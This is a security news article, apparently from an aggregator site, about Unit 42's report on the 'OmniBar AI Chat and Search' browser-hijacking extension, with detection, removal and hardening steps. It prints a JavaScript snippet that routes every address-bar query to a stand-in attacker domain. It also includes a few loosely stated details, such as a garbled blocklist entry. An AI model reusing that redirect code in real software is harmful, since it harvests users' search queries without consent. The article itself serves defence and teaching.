Listen to this Post
Introduction:
A newly uncovered campaign by Palo Alto Networks Unit 42 has exposed a massive browser‑hijacking operation leveraging over 30,000 hostnames to distribute a malicious extension named “OmniBar AI Chat and Search.” Disguised as a helpful AI‑powered search tool, this extension stealthily overrides the browser’s homepage and default search provider, redirecting all queries through an attacker‑controlled domain. This article dissects the technical mechanics of the hijack, provides actionable detection and removal steps across Windows and Linux, and outlines hardening strategies to defend against similar browser‑based threats.
Learning Objectives:
- Understand the inner workings of the OmniBar extension, including its event‑listener logic and search redirection techniques.
- Identify indicators of compromise (IoCs) associated with the campaign and learn how to detect the extension on endpoints.
- Apply step‑by‑step procedures to remove the malicious extension and implement browser security policies to block future threats.
You Should Know:
1. Anatomy of the OmniBar Malicious Extension
The OmniBar extension relies on a carefully crafted background script that intercepts browser address‑bar activity. According to the Unit 42 findings, the script uses an event listener for the omnibox (address bar) with logic branching into three scenarios: currentTab, newForegroundTab, and newBackgroundTab. For each case, the extension constructs a malicious URL that redirects the user through an attacker‑controlled domain before finally forwarding the query to a legitimate search engine—allowing the attackers to harvest search terms and potentially inject ads or malicious content.
Step‑by‑step explanation of the hijack flow:
- The extension registers an omnibox event listener, capturing any text entered in the address bar.
- Based on user preference (open in current tab, new foreground tab, or new background tab), the script builds a URL like
https://attacker‑domain.com/search?q=<user_query>. - The browser navigates to this intermediate domain, which logs the query and then redirects to a real search engine (e.g., Bing or Google).
- Simultaneously, the extension overrides the browser’s `homepage` and `search_provider` settings via Chrome’s `chrome.settingsPrivate` API or by directly writing to local preferences.
Relevant code snippet (from the post):
chrome.omnibox.onInputEntered.addListener((text, disposition) => {
let url = 'https://malicious-domain.com/search?q=' + encodeURIComponent(text);
switch (disposition) {
case 'currentTab':
chrome.tabs.update({ url: url });
break;
case 'newForegroundTab':
chrome.tabs.create({ url: url });
break;
case 'newBackgroundTab':
chrome.tabs.create({ url: url, active: false });
break;
}
});
2. Detecting and Removing the OmniBar Extension
Organizations and individual users must act quickly to identify and eradicate this extension. Below are commands and techniques for both Windows and Linux environments.
Windows – Detection via Registry and File System
- List all installed Chrome/Edge extensions (for current user):
Get-ChildItem "HKCU:\Software\Google\Chrome\Extensions" | Select-Object Name Get-ChildItem "HKCU:\Software\Microsoft\Edge\Extensions" | Select-Object Name
- Find the OmniBar extension by ID (check recent installation dates in
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\). - Remove the extension via registry (if policy prevents uninstall):
reg delete "HKCU\Software\Google\Chrome\Extensions\<extension_id>" /f
- Reset Chrome settings to default (clears hijacked homepage and search engine):
"%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" --reset-settings
Linux – Manual Removal and Verification
- Navigate to the Chrome extensions directory:
ls ~/.config/google-chrome/Default/Extensions/
- Inspect each extension’s `manifest.json` for suspicious permissions (e.g.,
"omnibox","storage","webRequest","webRequestBlocking"):grep -r "omnibox" ~/.config/google-chrome/Default/Extensions//manifest.json
- Delete the offending extension folder and remove its entry from `~/.config/google-chrome/Local State` (search for the extension ID and delete the block).
- Reset browser preferences by removing `~/.config/google-chrome/Default/Preferences` (backup first).
3. Hardening Browser Security Against Extension Hijacking
To prevent future infections, enforce strict browser policies using Group Policy (Windows) or managed policies (macOS/Linux). This is especially critical for organizations.
Step‑by‑step using Chrome’s Administrative Templates:
- Block all extensions by default and create a whitelist.
– Windows (via GPO): Enable “Configure extension installation blocklist” with “ to block all, and “Configure extension installation allowlist” with specific allowed extension IDs.
2. Force the homepage and search engine to prevent overrides.
– Set “Action on startup” to “Open a list of URLs” and specify the corporate homepage.
– Under “Search provider”, enable “Enable the default search provider” and “Default search provider URL” to a trusted engine.
3. Disable browser settings changes for users.
- Enable “Block external extensions” and “Disable developer mode extensions”.
Linux/macOS equivalent:
- Use managed policies via JSON files in
/etc/opt/chrome/policies/managed/:{ "ExtensionInstallBlocklist": [""], "ExtensionInstallAllowlist": ["allowed_id_1", "allowed_id_2"], "HomepageLocation": "https://company.com", "DefaultSearchProviderEnabled": true, "DefaultSearchProviderSearchURL": "https://www.bing.com/search?q={searchTerms}" }
4. Investigating the Campaign: Network Indicators and IoCs
The campaign uses over 30,000 hostnames, many of which are generated dynamically to evade detection. Defenders should block known patterns and monitor for unusual DNS requests.
Common patterns observed:
- Domains containing phrases like “omnibar”, “aisearch”, or random subdomains pointing to a central IP range.
- Use of TLS certificates issued by free certificate authorities.
Actionable steps:
- Implement DNS filtering to block queries to newly registered domains or domains with low reputation.
- Use threat intelligence feeds to obtain the list of IoCs (e.g., from Unit 42 or security vendors).
- Monitor proxy logs for connections to domains that mimic legitimate search but have unusual redirect chains.
Sample firewall rule (using iptables to block an offending IP):
sudo iptables -A OUTPUT -d 192.0.2.123 -j DROP
5. Incident Response: Steps for Users and Organizations
If the OmniBar extension is found, follow this IR checklist:
– Immediately uninstall the extension from all browsers (Chrome, Edge, Brave, etc.).
– Reset browser settings to default (removes hijacked homepage and search engine).
– Run a full antivirus/EDR scan to ensure no additional malware was dropped.
– Check for persistence – search for scheduled tasks or startup entries that may reinstall the extension.
Get-ScheduledTask | Where-Object {$<em>.TaskName -like "chrome" -or $</em>.TaskName -like "omnibar"}
– Revoke any API keys or session cookies that may have been exposed if the user logged into sensitive sites while the hijack was active.
– Educate users about the dangers of installing extensions from outside the official Chrome Web Store or without thorough vetting.
What Undercode Say:
- Permission Overreach: The OmniBar extension demonstrates how seemingly harmless permissions (omnibox, storage, webRequest) can be weaponized to intercept every search query and modify critical browser settings.
- Scale of Infrastructure: 30,000+ hostnames indicate a sophisticated, distributed operation designed to bypass domain‑based blocklists and traditional detection methods.
- User Education is Paramount: Many users install extensions for convenience without scrutinizing permissions or developer reputation; ongoing awareness campaigns are essential.
- Proactive Policy Enforcement: Organizations must move beyond reactive detection and implement default‑deny extension policies, especially in environments handling sensitive data.
- Browser as Attack Vector: This campaign underscores that the browser is now a primary entry point for cyberattacks, requiring the same level of hardening as the operating system.
Prediction:
Browser‑based attacks will continue to evolve, leveraging AI and generative themes to lure unsuspecting users. We predict an increase in “AI‑powered” malicious extensions that blend functionality with stealth, making detection more challenging. Attackers will likely adopt even more dynamic domain generation algorithms (DGAs) and begin abusing browser sync features to persist across devices. Defenders must shift toward behavioral monitoring, browser isolation, and strict policy‑based controls to stay ahead of this trend.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Browserextension Searchhijacking – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
